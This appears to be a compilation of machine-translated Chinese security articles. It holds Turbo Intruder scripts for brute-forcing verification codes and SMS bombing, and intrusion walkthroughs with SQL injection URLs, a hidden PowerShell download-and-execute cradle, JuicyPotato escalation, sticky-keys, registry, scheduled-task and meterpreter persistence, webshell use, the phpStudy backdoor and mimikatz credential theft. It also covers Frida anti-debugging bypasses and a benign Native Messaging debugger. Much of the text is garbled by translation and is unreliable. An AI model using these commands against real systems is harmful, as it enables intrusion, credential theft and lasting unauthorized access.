  20. 1。プラグインの紹介 Turbointruderは、多数のHTTPリクエストを送信し、結果を分析し、10億のリクエスト攻撃を採用するげっぷスイート拡張プラグインです。これは、Burpintruderを例外速度、期間、または複雑さを必要とする攻撃で補足するように設計されています。 2。プラグインの原理 最初の要求を使用して接続を確立します。その後のリソースの獲得は、この接続を通じてリソースの長い接続を取得することです。また、HTTPパイプライン(HTTPパイプライン)を使用してリクエストを送信します。このメソッドは、前のリクエストの応答を待っている間に次のリクエストを送信します。送信プロセス中、サーバーが前のリクエストに応答するのを待つ必要はありません。ただし、クライアントは、リクエストが送信される順序で応答を受信する必要があります。 HTTPパイプラインを介してリクエストを開始することは、短い接続の速度の6000%です(Connection: close) 3。インストール方法 インストールターボインクループラグインBURPスイート iv。使用方法 パケットを選択して右クリックしてターボ侵入者に送信を選択します(パケットはここでrawいなければなりません。クロールがない場合は、チューブ侵入者への送信メニューは表示されません) この時点で、新しいウィンドウが開きます。ウィンドウの上部は元のHTTPリクエストパッケージ、下部は操作コード、中央部はシーンに応じてドロップダウンボックスから特定の操作コードを選択できます。開くたびに、デフォルトは最後のコードで使用されています。これは前回使用されるコードです。 コード領域は、ファズする必要がある部品の代わりに「%s」文字を使用する必要があります。対応する操作コードを選択し、下部の攻撃をクリックして攻撃を開始します。特定の使用法の詳細については、それらを3番目のパートの使用シナリオと組み合わせることができます。 5。使用シナリオ 1。検証コードブラスト 主に携帯電話の検証、電子メール検証コードログイン、パスワード回復機能に表示されます。検証コードの爆発では、ユーザーがユーザーを引き継ぐ機能を達成するためにユーザー名の列挙が必要です。 検証コードブラスト操作コード: Itertools Import製品から def brute_veify_code(ターゲット、エンジン、長さ): pattern='1234567890'#辞書の生成に使用される#iterativeオブジェクト リスト(製品(パターン、繰り返し=長さ)): #Product()のIの場合、複数の反復オブジェクトを受信し、デカルト製品を生成します。繰り返しパラメーターは、反復オブジェクトの数を表します。 code='' .join(i) Engine.Queue(ターゲット.req、コード) def queuerequests(ターゲット、ワードリスト): Engine=requestEngine(endpoint=target.endpoint、#ターゲットのアドレスを指定します concurrentConnections=30、#makeサーバーとの30接続 RequestSperConnection=100、#send 100の接続ごとに同時に100リクエスト Pipeline=True #Enable Pipeline(HTTP Pipelining)モード )) brute_veify_code(ターゲット、エンジン、6)#modify検証コード数字の数に従ってモディー DEF Handleresponse(REQ、興味深い): req.response: #operate応答に「エラー」がない場合、テーブルに「エラー」を追加します Table.Add(req) デモ: Baidu WDパラメーターが数値6ビット検証コードであると仮定します。パラメーター値を「%s」に置き換え、上記のコードを操作コード領域にコピーします 攻撃をクリックして攻撃を開始すると、「%s」が生成された辞書コンテンツに置き換えられていることがわかります。 29431リクエストは31秒で正常にリクエストされ、949のRPSで 2。同時テスト 同時脆弱性はビジネスロジックの脆弱性であり、チェックイン、宝くじ、クーポンコレクション、その他の機能ポイントなどの回数を制限する機能ポイントに存在します。並行性テクノロジーを使用してテストして、サーバーが複数回正常に応答できるかどうかを確認します。 同時テストの操作コード: def queuerequests(ターゲット、ワードリスト): Engine=requestEngine(endpoint=target.endpoint、 concurrentConnections=30、 RequestSperConnection=100、 パイプライン=false )) 範囲のIの場合(30): #Create 30リクエスト。 Engine.queue(ターゲット.req、ターゲット、baseinput、gate='race1') #wait各「race1」タグ付けされた要求が準備ができてから、各リクエストの最後のバイトを送信するまで Engine.opengate( 'race1')#identify同じ同時テストに属する要求 Engine.comPlete(タイムアウト=60) DEF Handleresponse(REQ、興味深い): Table.Add(req) デモ:このコードは、プラグイン /examples/race.pyでオプションです 同時テストでは、元のリクエストパッケージの処理は必要ないため、次の問題に遭遇する可能性があります。ツール実行プロセスのため、元のリクエストパッケージに「%s」フィールドが必要なため、リクエストパッケージのどこにでも「%s」を追加する必要があります。 3.SMS爆撃 検証コードを取得するためにウェブサイトでユーザー登録ページを見つけました。 x:%sをリクエストヘッダーに追加することを忘れないでください(ターボの%sはburp侵入者の§s§に似ています。反復変数はありませんが、ターボの起動時に%sはチェックされます)このコードはプラグイン /examples/race.py 同時にデータパケットを送信すると、送信結果の長さの大部分は328。328であることがわかります。
  21. このステーションは本当に大きいです、いや、このステーションは本当に丸い。phpステーションはさりげなくテストできる 1回の注入 32ビットしか読めないので、サブストリングを使用して個別に読み取る https://aaaaa.com/1.php?id=210%20and%20extractValue(1,Concat(0x7e,(Select 管理者制限1,1)からのパスワード、0x7e))%20# https://aaaaa.com/1.php?id=210%20and%20extractValue(1,concat(0x7e、substring((select 管理者制限1,1)からのパスワード、30,35)、0x7e))%20# 快適に感じます。 0x02シェルを取り、robots.txtを参照してください INURL:A.com管理者 バックグラウンドに入ると、私はそれがecshopであることがわかりました。ここで、ファイルは画像バイパスに変更されました。 はリセットされているようです ここで私はSQLステートメントを実行できることを発見し、絶対パスリークがあることがわかりました OK言うだけで、文章を書いてください 0x03ライセンス許可は少し低くなっています MySQLを使用する他の方法はありません。 MySQLの権利を増やしてみてください アップロードできないディレクトリを除いて、他のすべての条件が満たされるので、私がそれを言わなかったとき、CSにアクセスして、PowerShellをオンライン 詳細については、こちらのジューシーなジャガイモを使用してください。 Sanhaoの学生の記事を参照してください。必要なCLSIDを選択してください。リンク 次に、システム許可を使用してPowerShellを実行しています shell style.exe -p 'powershell.exe -nop -w hidden -c \' iex((new -Object.WebClient).DownLoadString( 'PowerShellアドレス'))\ '' -C {e60687F7-01A1-40AA -86AC -DB1CBF67334}ここからの逃亡者を忘れないでください。 0x04水平浸透はワーキンググループ環境であり、0.9をスキャンし、Webでもあります。ここにハッシュパスがあり、ハッシュをキャッチするために直接転送されます。現在、次のアカウントがあります wiseadmin Shopaccount mysql wiseadmin filetransfer demoadmin wdagutilityaccount 通常のハッシュ配信- Webである必要があり、0.7がデータベースサーバーである可能性があるデモ すべての管理者権限が利用可能です。システムを取得したい場合は、selectMyparentを使用できます。実際、新しいプロセスでシステムプロセスの子プロセスを設定するのはJです。ここでは、CS馬を使用し、最初にwinlogon.exeのpidを確認します 500であることがわかります その後、System.exeをアップロードしてShell selectmyparent.exe System.exe 500を実行します このステップは、実際に単語の数を構成することです、ハハハハ 0x05:ここでアクセス許可が維持され、ローカルテストが取得されます スティッキーキーバックドアプレス「シフト」は、窓を連続して5回連続して粘着性キーを呼び出します スティッキーキーは、2つ以上のキーを同時に押すのが困難な人向けに設計されたコンピューターで使用されるショートカットキーを指します。粘着性結合の主な機能は、シフトと他のキーの組み合わせを促進することです。スティッキーキーは、最初に2つのキーを同時に押すのではなく、最初に押すことができ、次に他のキーを押すことができます。これは、物理的な理由で複数のキーを同時に押すことができない人にとっては便利です。一般的なコンピューターは、シフトを5回押すと、粘着性のキープロンプトがあります。 次のコマンドを使用します CD Windows \ System32Move sethc.exe sethc.exe.bakcopy cmd.exe sethc.exe sethc.exe 3ターゲットマシンがウィンビスタまたはそれ以上の場合、それは後でwinvistaを修正する必要があります。管理者とその権限の変更: その後 これで、シフトを5回続けて押して、システム許可CMDがポップアップします レジスタインジェクションバックドア 通常のユーザー許可の下で、攻撃者はレジストリに実行する必要があるバックドアプログラムまたはスクリプトパスを書きます hkey_local_machine \ software \ microsoft \ windows \ currentversion \ run キー値を任意に設定することも、次のコマンドを実行してスタートアップアイテムを直接追加することもできます。 'hkey_local_machine \ software \ microsoft \ windows \ currentversion \ run' /v test /t reg_sz /d 'c: \ shell.exe'管理者がシステムに戻ってログインすると、バックドアプログラムが実行されます プランタスクのバックドア コマンド:SCHTASKS /CREATE /TN UPDATER /TR C: \ shell.exe /sc hourly /moコマンド上記のコマンドは1時間に1回shell.exeを実行し、Win7以下などのシステムでSchtasksの代わりにATコマンドを使用します。 メータープレターバックドア MeterPreter Run Run Persistence -U -I 5 -P 1234 -R 192.168.220.128 -A マッチングを自動的に開始します プロキシ-Lに接続するExploit/Multi/Handler%TEMP%が使用されていない場合、ペイロードの位置はターゲットホストに記述されます。 -pペイロードの使用法、デフォルトはWindows/MeterPreter/Reverse_TCPです。 -sはトロイの木馬をサービスとして自動的に開始します(システムの許可を使用) -t使用する代替実行可能テンプレート -uユーザーがログインしたときにトロイの木馬は自動的に開始されます -xシステムがブーツが起動するときにトロイの木馬は自動的に開始されます -hこのヘルプメニュー - 各接続試行の間の時間間隔(秒) -pポートMetasploitを実行しているシステムが聴いています -Rメタスプロイトを実行しているシステムのR IP接続を聞いている 欠点は、ウイルス対策ソフトウェアによって簡単に検出され、ターゲットマシンに新しいVBSファイルを作成し、毎回自動的に起動することです。WEBバックドア、ここでshell.phpを生成してテストすることができます。 ファイルをサーバーディレクトリに入れて実行する Weevely http://192.168.220.1/shell.phpshellは、ヘルプを見るのに役立ちます audit.etcpasswd |列挙/etc /passwd audit.userfiles |ユーザー/Home audit.mapwebfilesの下でアクセス許可を持つファイルをリストします|任意のWebサイトshell.php |のURLリンクを列挙しますphp file shell.sh |を書き込みますシステムスクリプトsystem.info |を書き込みますシステム情報を収集します。suidsgid| suid/sgidファイルとディレクトリfind.perms |を検索しますPermissions Readable/Write/Executable Files and Directories Backdoor.tcp |を見つけますTCPポートバックドアバックドア。ReversetCP|リバウンドTCP接続BruteForce.sql |指定されたデータベースのユーザー名とパスワードBruteforce.sqlusers |すべてのデータベースユーザーパスワードfile.upload |を爆破しますローカルファイルfile.upload2web |をアップロードしますバイナリ/ASCIIファイルをターゲットサイトフォルダーにアップロードし、URLファイルを列挙します。ENUM|ローカル語彙file.read |ファイルfile.rm |を読み取りますファイルfile.check |を削除しますリモートファイル(MD5値、サイズ、許可など)のステータスを確認します。ファイル。ダウンロード|リモートバイナリ/ASCIIファイルをローカルSQL.CONSOLEにダウンロードします| SQL Console SQL.Dumpを開始|バックアップデータベース、つまり、net.scan |を除去しますポートスキャンnet.phpproxy |リモートPHPプロキシnet.ifaces |をインストールしますリモートホストネットワークインターフェイス情報net.proxyを表示|を表示しますトンネル通信エージェントをインストールして、いくつかのWindowsコマンドを実行する ビルトインコマンドをセットします 元のリンクで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndawmda1na==mid=2247485826Idx=2SN=8F11B7CC12F6C5DFB5EEEEB316F14F460CH KSM=CE67A31BF9102A0D704877584DC3C49141A376CC1B35C0659F3AE72BAA7E77E6DE7E0F916DB5CENE=21#WECHAT_REDIRECT
  22. 1。情報収集 ターゲットWebサイトを取得すると、非常に従来のBCサイトであることが示されています。 まず、シンプルな情報収集を実行でき、PHPバージョンとWindowsのサービングの2つのより重要な情報をWappalyzerプラグインを通じて見ることができます。 コマンドラインnslookup+url IPを表示するには、CDNが見つかりません ラブステーションに行き、見てください さて、カンボジアは大丈夫です IPアドレスを知った後、ポートスキャンは1つのウェーブです(フルポートスキャン +サービス検出。このプロセスは比較的長い、最初に何か他のことをすることができます) スキャン後、リモートデスクトップ3389に接続してみてください(最初はWindowsが提供されているサーバーであることがわかりました) は、ポートが変更されたと推測して、ログインIPホワイトリストを推測して2回試しましたか? 2。舞台裏の爆発 Webに戻り、バックハンドでURLの後に管理者を追加します バックエンドが出てきました、このBCは少し悲惨です、私はいくつかの弱いパスワードをランダムにテストしましたが、それは実りがありませんでした 確認する検証コードがないことがわかり、パケットをキャッチして爆発しました。 従来の弱いパスワードを見つけるのに十分です。 パスワードは数秒でリリースされます:123456、私は嘔吐し、それらの操作とメンテナンスは死に至ることがあります 3。アップロードポイントを見つけます バックエンドを単純に削除すると、確かに満足しません。 背景のさまざまな機能を大まかに閲覧し、使用する場所を探し、システム管理オフィスにアップロードポイントを見つけました (私のいとこはあなたに領収書コードを送りましたか?金持ちになる機会はここにあります!) 何気なく文を書いて、接尾辞を.jpgに変更し、パケットをつかんで、表示するためにリピーターに送信します 「リアル画像タイプではない」とプロンプト、パッケージのPHPサフィックスに変更して、違法なファイルタイプを求めて ホワイトリスト +ファイルヘッダーの確認のように感じます。写真馬を試してみてください はいくつかの波を試しましたが、ホワイトリストは非常に真剣に制限されていましたが、それはありませんでした。 突然行き詰まっていたので、別のブレークスルーを見つける方が良いでしょう iv。ピークループターン 私はそれについて注意深く考えました。 Windows、Windowsの主流のWebサイトビルディングツール、パゴダ、ガードゴッド、Phpstudy、およびupupwです。私はそのPHPバージョンが前に5.2.17であったことを見ました、そして、私はたまたましばらく前に発生したPHPStudyの2つのバックドアを考えました。バックドアは、PHP-5.4.45とPHP-5.2.17の2つのバージョンに存在します。今すぐテストしてください Accept-Encoding3: gzip、deflate、削除、GZIPの中央のスペースを削除し、リクエストパッケージでデフレート 以下に文を追加します:accept-charset:+ base64実行されたコマンドのエンコーディング 私はショックを受けました。私は本当にphpstudyを使用してウェブサイトを構築しました。ウェブマスターはあまりにも心配です。次のことはずっと簡単です。 5。アリの剣にはファイルシェル接続がありません エンコーダーをbase64に変更することを忘れないでください 次に、文をエンコードしてbase64をコピーして、accept-charset:の後ろにコピーします アリの剣のリクエスト情報を変更し、以下に示すようにヘッダーヘッドを変更する テスト接続、接続に成功しました それが直接システムの許可であることがわかりました。 6。ミミカッツをアップロードしてハッシュをつかみます 新しいディレクトリを作成し、winrar.exe+mimikatzをアップロードします アップロードされたwinrarを減圧する、コマンド:winrar.exe e x64.rar MIMI.BATを実行して、ここで説明してみましょう。以下の画像の後に出口を追加するのが最善であると、Mimikatzはログを書き続け、ログファイルが大きく大きくなります。私はその時にそのような間違いを犯しました。 生成されたmimikatz.logをWebサイトのルートディレクトリにコピーして、それを表示します 管理者のRDPパスワードを正常にキャプチャしました。 前にスキャンしたフルポートを振り返って、私もスキャンしました は、合計3つのポートが開いていることを示しており、一般的にポート3389が変更されています。 NMAPを使用して-SVパラメーターをスキャンして追加すると、スキャンされたRDPサービスは通常、SSL/不明として表示されます。 リモートデスクトップ接続を試してください heheheは、正常にログインし、サーバーを倒し、タバコに火をつけ、すべての証拠を詰め込み、電話を取り出して110と呼ばれる 7。要約 ウェブシェルを取得すると、データやソースコードを取得したい場合、包丁またはアリの剣を使用してパッケージ化しますが、現時点では、パッケージの障害や不完全包装など、多くの問題が発生します。 現時点では、相手がWindowsサーバーの場合、ローカルにインストールされているwinrar.exeをアップロードできます。 圧縮ディスクの下のDATフォルダーとbat.rarwinrar.exe a -ag -k -r -s -ibck C3:/bak.rar C:/dat/ 複数のファイルを圧縮するwinrar a -ag -ibck bak.rar filename1 filename2 filename . パラメーター説明:A:バックアップすべてのファイル。 -ag:圧縮ファイルを作成する場合、現在の日付文字列を「yyyymmddhhmmss」とファイル名Bakyyymmddhhmmss.rarに添付します。 -K:圧縮ファイルをロックします。 -R:バックアップディレクトリとサブディレクトリ。 -S:固体圧縮ファイルを作成します。 -IBCK:はバックグラウンドで実行されます。 filename1:圧縮されるファイル名は複数であるか、ワイルドカードファイル*を使用できます。 元のリンクアドレスで転載: https://mp.weixin.qqc.com/s?__biz=mzg2ndywmda1na=mid=2247485789Idx=2Sn=a1a3c9fc97eeab0b5e5bd3d311e 3FAE6CHKSM=CE67A3C4F9102AD21CE5C895D364B4D094391D2369EDFC3AFCE63ED0B155F8DB1C86FA6924F1CENE=21##
  23. 在本文中,我們將介紹如何使用Frida繞過一些應用程序實現的反調試技術的實際示例。 FridaFrida是一個動態代碼檢測工具包。換句話說,它是一組允許代碼插裝的工具,提供給我們一些API,使我們能夠在執行過程中攔截、分析和修改Windows、macOS、GNU/Linux、iOS、Android和QNX應用程序的部分代碼。本質上,Frida允許在運行時對即將執行的操作進行操作。比如,當我們從一個簡單的c++程序開始,該程序使用一個函數將兩個值相加並返回結果。我們想要操作的函數聲明為Add(int,int)。首先,我們將更改其中一個int參數,然後,更改返回的結果。編譯完代碼後,我們需要通過分析可執行代碼來定位Add函數的偏移量。在本例中,我們使用IDA Pro來分析代碼,但也可以使用允許我們分析可執行代碼的任何其他方法或應用程序。我們在偏移量0x00401000處確定函數,並且我們知道可執行文件的基址是0x00400000,因此,函數的偏移量是0x00001000。 然後,我們可以攔截函數調用並使用Frida修改其行為。我們將開發一個小Javascript腳本來完成這項工作。首先,我們需要確定程序在執行時被加載的位置、它的基址,然後,我們可以通過將這個基址和之前獲得的偏移量(base +0x00001000)相加來定位Add函數的偏移量。現在,我們可以使用帶有函數地址的Interceptor來在函數執行之前或之後添加一些代碼。我們使用Frida Javascript API 來完成這一切。 因此,當我們以' 1 '和' 2 '作為參數執行應用程序時,我們期望結果是' 1 + 2=3 '。但是,如果我們取消註釋第一行(args[0]=ptr(' 100 ');)在函數執行之前,我們將變量op1的值替換為100,得到的結果為' 1 + 2=102 '。另一方面,如果取消註釋第二行(retval.replace(' 3210 ')) ,我們會在函數Add 執行之後但在返回結果之前替換返回值,得到'1 + 2=3210'。 基於系統調用的技術在這個檢測結果中,我們考慮使用Windows API的函數來獲取與調試器存在相關的信息的技術。有很多函數可以用於這個目標:從像IsDebuggerPresent這樣的函數,它返回一個布爾值,這個值取決於應用程序是否被調試(True或False),到像FindWindow這樣的函數,它告訴我們是否存在一個帶有知名調試器(IDA、Ollydbg、Inmunity 調試器等)名稱的窗口。 基於內存檢查的技術應用程序對內存中的某些標誌進行顯式驗證的方法,這些標誌顯示進程是否正在調試。可以用於此目的的一些標誌是IsDebugged 標誌、Heap標誌或NTGlobalFlag。這些標誌是Windows 為每個進程維護的結構的成員,其中包含有關它們的信息。 基於時間的技術這個檢測結果包括使用與時間相關的計算來確定是否正在調試進程的方法,當一個進程正在被調試時,執行同一組指令所花費的時間要比未被調試時多。這種時差通常是很明顯的。出於這個原因,應用程序可以檢查一組指令執行開始和結束的時間,如果它花費的時間超過一個既定的閾值,它可以很有可能確定該過程是正在調試。 基於異常的技術最後,我們根據觸發異常對一組方法進行分組,以確定進程是否正在被調試。在調試進程和未調試進程時,系統處理異常的方式是不同的。程序可以利用這一事實來確定是否附加了調試器。 設置測試環境為了實現我們的設置,我們將使用Windows 10虛擬機,我們最初將在其中安裝Python 3.8.6rc1。 然後我們安裝Frida,它可以直接從GitHub下載,或者使用Python pip工具安裝。我們使用pip是因為它比其他方法更簡單。 我們還安裝了Visual Studio Community 2019來開發示例程序,在示例程序中我們實現了一些反調試技術來展示它是如何工作的。這些程序將被用來測試繞過這些反調試技術的不同方法。 Frida 的使用方式有很多種:我們可以直接使用包中包含的可執行文件(每個可執行文件都有特定的功能),也可以使用包中也包含的Python 模塊來開發我們自己的接口。 我們選擇了第二種方法,開發了一個小接口,允許我們生成新的進程或附加到現有進程中,注入一個或多個提供某些功能的腳本。我們選擇這種方式是因為我們希望能夠根據特定的需求定制接口,這些需求將在以後的文章中詳細介紹。 接下來,我們將討論基於以下系統調用的技術:IsDebuggerPresent、NtQueryInformationProcess 和CreateToolhelp32Snapshot。所有這些都使我們能夠了解如何以不同的方式使用Frida,以繞過這些控制。 IsDebuggerPresent我們將嘗試繞過的第一個檢查是基於系統調用IsDebuggerPresent 的方法。正如Microsoft 文檔中所指出的,此函數不接收任何參數,並根據進程是否正在調試返回一個布爾值:返回值“True”表示正在調試進程,“False”表示相反。為了說明這個方法,我們開發了一個使用這個系統調用執行調試檢測的簡單程序: 在第一個控制台中,我們看到當我們從Visual Studio執行應用程序時,應用程序如何指示它正在被調試。但是,如果應用程序是直接從終端執行的,則表明它沒有被調試。檢查這個事實的另一種方法是從像x64dbg 這樣的調試器中執行它。唯一用來做決定的是函數IsDebuggerPresent 返回的值,因此,我們應該用Frida 開發一個腳本,攔截這個調用並修改返回值,總是返回False (0x0)。下面的腳本是為了完成所有這些而開發的: 首先,它使用Module.findExportByName(第3 行)定位函數“IsDebuggerPresent”的地址。 一旦獲得這個地址,它就會使用Interceptor.attach(.) 攔截這個調用(第8 行)。 最後,它在函數結束之前(第13 行)將返回值替換為0x0 (False)。 NtQueryInformationProcess我們將展示的第二個系統調用是NtQueryInformationProcess。這個函數讓我們獲得與進程相關的不同信息。它比上一個更複雜,因為它允許我們使用ProcessInformationClass參數選擇要查詢的信息,並且它將在ProcessInformation參數上為我們提供這些信息。 在本例中,我們將展示如何繞過4 項檢查,每項檢查使用不同的ProcessInformationClass 值。這些值是:ProcessDebugPort、ProcessDebugFlags、ProcessDebugObjectHandle 和ProcessBasicInformation。 ProcessDebugPort (0 x7)如果附加了任何調試器,此類用於獲取調試器的端口號。如果附加了調試器,此值將不同於0。 ProcessDebugFlags (0x1F)使用此類,我們可以檢索一個標誌,該標誌將為我們提供有關活動調試器存在的信息。在本例中,如果processinformation參數中返回的值為0,則表明正在調試應用程序。 ProcessDebugObjectHandle (0x1E)將此值表示為ProcessInformationClass,僅當正在調試進程時,此系統調用才會返回有效的句柄。 ProcessBasicInformation (0 x0)使用這個類,我們在ProcessInformation 參數中獲得了一個名為PROCESS_BASIC_INFORMATION 的結構,其中包括其他數據:指向PEB 結構的指針(偏移量0x4)、進程的PID(偏移量0x16)和父進程的PID(偏移量0x20)。軟件可以使用此信息應用的一種反調試技術是使用父進程的PID 獲取父進程的名稱,並將其與眾所周知的調試器名稱列表進行檢查。 如上所述,我們開發了一個小型C++ 應用程序,展示了這種技術的一個示例。為了逃避這些檢查,我們必須使用Frida 開發一個必須執行以下操作的腳本: 首先,它必須使用Module.findExportByName 定位函數“NtQueryInformationProcess”的地址。 然後,它必須使用Interceptor.attach(.) 攔截函數調用。 每次調用函數“NtQueryInformationProcess”(OnEnter)時,腳本必須執行以下操作: 保存參數ProcessInformationClass,允許我們選擇必須修改哪些返回信息(第40 行)。 保存指向返回參數ProcessInformation 的指針(第44、48、52 和57 行)。 還要保存每種情況下所需的參數。 最後,就在函數結束之前(OnLeave),腳本可以使用之前保存的信息來確定需要使用參數ProcessInformation 返回什麼值。根據this.ProcessInformationClass 我們應該返回以下值: 0x7 (ProcessDebugPort),ProcessInformation 將被替換為值0x0(第63 行)。 0x1F (ProcessDebugFlags),ProcessInformation 將被替換為值0x1(第68 行)。 0x1E(ProcessDebugObjectHandle),在本例中,我們將檢查返回值,如果成功,則將參數ProcessInformation替換為0x0。參數ReturnLength 也將被替換(第72 - 81 行)。 0x0 (ProcessBasicInformation),最後,如果選擇了這個選項,我們應該知道PROCESS_BASIC_INFORMATION 結構體將父進程的PID (InheritedFromUniqueProcessId, offset0x20) 替換為一個非可疑的PID,例如進程‘explorer.exe’ 的PID。 要使用Frida 獲取進程“explorer.exe”的PID,我們可以使用Windows API 調用,例如函數GetShellWindow 和GetWintowThreadProcessId。我們可以使用NativeFunction del API de Frida 通過Javascript 聲明這些函數,一旦它們被聲明,我們就可以使用它們來獲取進程PID,如下所示: 使用Visual Studio調試器執行這個示例程序,我們得到如下結果: 如果我們使用相同的調試器執行相同的應用程序,但注入之前描述的Frida 腳本,我們會得到另一個結果: CreateToolhelp32Snapshot接下來我們將討論CreateToolhelp32Snapshot函數。使用這個函數的最常見的反調試技術是驗證父進程的名稱和PID,確定父進程是否是一個知名的調試器,但是這個函數也可以用於其他目的。首先,這個函數創建一個包含一些關於進程、線程和模塊的系統信息的快照。可以使用第一個參數選擇該快照的信息。允許使用以下值:TH32CS_INHERIT、TH32CS_SNAPALL、TH32CS_SNAPHEAPLIST、TH32CS_SNAPMODULE、TH32CS_SNAPMODULE32、TH32CS_SNAPPROCESS、TH32CS_SNAPTHREAD。 使用該函數最基本的反調試技術是只使用TH32CS_SNAPPROCESS來獲取正在運行的進程列表。然後,查找我們的進程,識別我們的進程父進程的PID,然後在列表中查找父進程的信息。最後,驗證父進程的信息。但是,通過使用不同標誌或使用TH32CS_SNAPALL的函數給出的信息,我們可以執行其他驗證。例如: 處理相關驗證(使用TH32CS_SNAPPROCESS): 在整個列表中搜索被禁止的進程(如VsDebugConsole.exe、devenv.exe、x32dbg.exe.),無論該進程是否相關; 模塊相關驗證(使用TH32CS_SNAPMODULE和TH32CS_SNAPMODULE32): 在與我的進程相關的模塊列表中搜索被禁止的模塊(如frida-agent.dll .)。 線程相關驗證(使用TH32CS_SNAPTHREAD): 驗證列出的所有線程都有一個相關聯的進程,試圖檢測隱藏的進程; 驗證應用程序線程數; 驗證我的應用程序中沒有引用禁止模塊的任何線程。 可見,使用此函數的應用程序可以驗證必須在它們之間保持一致的不同內容。因此,要繞過這些檢查,我們的任務必須是找到一種變通方法,允許我們繞過所有這些檢查,並保持列表的一致性。帶著這個目標,我們研究了這個函數究竟返回了哪些信息,以及我們如何操作它。 函數CreateToolhelp32Snapshot 返回一個SECTION 類型的HANDLE。如果我們分析HANDLE 指向的內存部分,我們可以找到一個未記錄的結構,其中包含以下部分: 我們可以使用NtQuerySection和NtMapViewOfSection函數來修改與Handle相關的內存,從而修改CreateToolhelp32Snapshot函數返回的快照的內容。因此,我們可以開發一個Frida腳本來修改CreateToolhelp32Snapshot返回的列表,隱藏可以檢查以檢測調試器的進程、模塊和線程,但保持了其一致性。 首先,我們應該定義一個應該隱藏的進程和模塊列表。我們需要知道他們的名字。在這個例子中,我們將隱藏Visual Studio調試器以及與Frida相關的可執行文件和模塊。所以我們定義了2個列表,內容如下: 禁止進程列表:VsDebugConsole.exe、devenv.exe、frida-winjector-helper-32.exe 禁止模塊列表:frida-agent.dll 一旦我們確定要隱藏哪些進程和模塊,我們將像以前一樣掛鉤函數CreateToolhelp32Snapshot。在本例中,我們不修改任何參數或返回值。我們將在函數返回句柄之前截取函數返回句柄,並在返回發生之前執行一些代碼。正如我們之前看到的,使用函數NtQuerySection和NtMapViewOfSection,我們將定位與句柄相關的內存,我們將執行以下步驟: 進程列表修改: 我們應該從進程列表中刪除那些在禁止進程列表中找到的進程。 我們應該刪除對禁止進程的引用,以保持一致性。 例如,我們將要調試的程序可能有一個被禁止的進程作為父進程。因此,我們應該將Parent 的PID 值更改為非可疑進程的PID(如explorer.exe PID)。 模塊列表修改: 我們應該從模塊列表中刪除那些在禁止模塊列表中找到的模塊。 線程列表修改: 我們應該從線程列表中刪除那些由進程列表中刪除的進程擁有的線程; 我們應該從線程列表中刪除那些指向從模塊列表中刪除的模塊的線程; 我們可以通過使用具有THREAD_QUERY_INFORMATION 權限的函數OpenThread 和請求ThreadQuerySetWin32StartAddress 的NtQueryInformationThread 來獲取此信息。將此查詢獲得的信息與與禁止模塊關聯的內存進行比較,我們可以確定是否應該從列表中刪除線程。
  24. 引子上個月,一位企業客戶報告說,他們使用的第三方瀏覽器擴展無法正常工作。對該擴展的調查表明,該瀏覽器擴展依賴於一個在瀏覽器沙箱之外運行的NativeMessaging Host(NMH)組件。在審查客戶提供的進程監控日誌時,我們發現,Native Host可執行程序在啟動數十分鐘後就意外退出。並且,在這次意外退出後,下一次瀏覽器內擴展試圖調用它時,瀏覽器到本地的調用就會失敗,從而導致瀏覽器擴展無法提供其預期功能。 不幸的是,我既沒有NMH可執行文件的源代碼(甚至沒有二進製文件),在進程監控器日誌中也沒有找到明顯的線索(例如,註冊表讀取或寫入失敗),所以,我們很難搞清楚問題到底出在哪裡。我對支持工程師說,要是能看到瀏覽器擴展和NMH之間交換的JSON信息,也許就能幫我們找到問題的根源所在。 '我們需要像Fiddler這樣的工具來監視NMH信息,而不是HTTPS信息。 ' 這有什麼難的?從技術上講,我並不熟悉與瀏覽器擴展有關的東西,所以,在排除了我能想到的幾個可能的根源問題後,我就忙其他的事情去了。 但這一構想一直縈繞在我的腦海裡:像Fiddler一樣的工具,但用於檢查本地信息傳遞。 建立這個系統有多難?會有多大用處? 自從2015年底“拋棄”Fiddler和Telerik後,我就沒寫過多少C#代碼;偶爾寫一點,大多也是Fiddler的插件,而不是獨立的應用程序。不過,Native Messaging遠沒有HTTPS那麼複雜,所以應該不會太難,對吧? 我們希望在調試器中實現以下功能: 顯示從瀏覽器擴展到Native Host的信息 允許將這些信息記錄到一個文件中 允許在任何方向上註入任意的消息 (擴展目標)允許修改這些消息 在接下來的幾個晚上,我打開塵封多年的Visual Studio IDE,努力回憶C#異步編程的工作方式。 關於NativeMessaging MeddlerNativeMessaging Meddler的源代碼和編譯版本都可以從GitHub下載。 NativeMessaging Meddler(NMM)是一個基於.NET 4.8的Windows應用程序。它的底部提供了一行選項卡,以便於我們在不同的選項卡之間進行切換;在默認情況下,直接運行.exe程序的話,它僅顯示幫助文本: NMM工具可以響應來自瀏覽器擴展本身的NativeMessages,也可以代理現有擴展和現有NMH可執行文件之間的消息。 安裝Demo擴展要測試該工具的基本功能,您可以安裝Demo Extension: 在Chrome或Edge中訪問about://extensions 啟用開發者模式 按下Load Unpacked按鈕 選擇sample-ext文件夾 一個新的'N '圖標將出現在工具欄上 安裝完演示擴展後,還必須註冊演示的Native Host應用。為此,請更新其清單,以反映您放置它的位置。 使用記事本或類似編輯器打開manifest.json文件 將path字段設置為.exe的完整路徑。確保反斜杠都是成對使用的。 將allowed_origins字段設為來自about:extensions頁面中的擴展的ID值。 接下來,更新註冊表,以便瀏覽器能夠找到您的主機: 在記事本中編輯installregkeys.reg文件,更新文件路徑以指向manifest.json文件的位置。確保反斜杠都是成對使用的。 雙擊InstallRegKeys.reg文件將其導入註冊表。 運行演示擴展安裝好了主機和擴展後,現在就可以測試該工具了。從工具欄中的擴展點擊“N”圖標,導航到它的演示頁面。這時,NMM的實例應自動打開。 在Outgoing Messages框中鍵入“Hello World!”,單擊Post Message to port按鈕。這時,該消息應該出現在NMM應用程序內的Monitor選項卡上: 如果你勾選右上方的“Reflect to extension”選項,然後再次發送消息,應該會看到NMM工具收到消息,並將其發回該擴展的頁面,並展示在“Incoming Messages”部分。 “Reflect to extension”將收到的信息複製給發送方 如果我們想通過NMM注入我們選擇的新信息,該怎麼辦? 進入NMM的Injector選項卡,在底部輸入框中輸入一個簡單的JSON信息。然後,點擊“Send to Browser/Extension”按鈕。這時,我們會看到該信息出現在瀏覽器內的“Incoming Messages”部分。 注意:你的信息必須是格式正確的JSON,否則它將永遠無法到達。 好了,我們現在已經能夠成功地使用NMM工具來接收和發送來自Demo擴展的消息了。 代理消息雖然我們的演示擴展很適合測試Native Messaging功能,而且如果我們正在開發一個使用Native 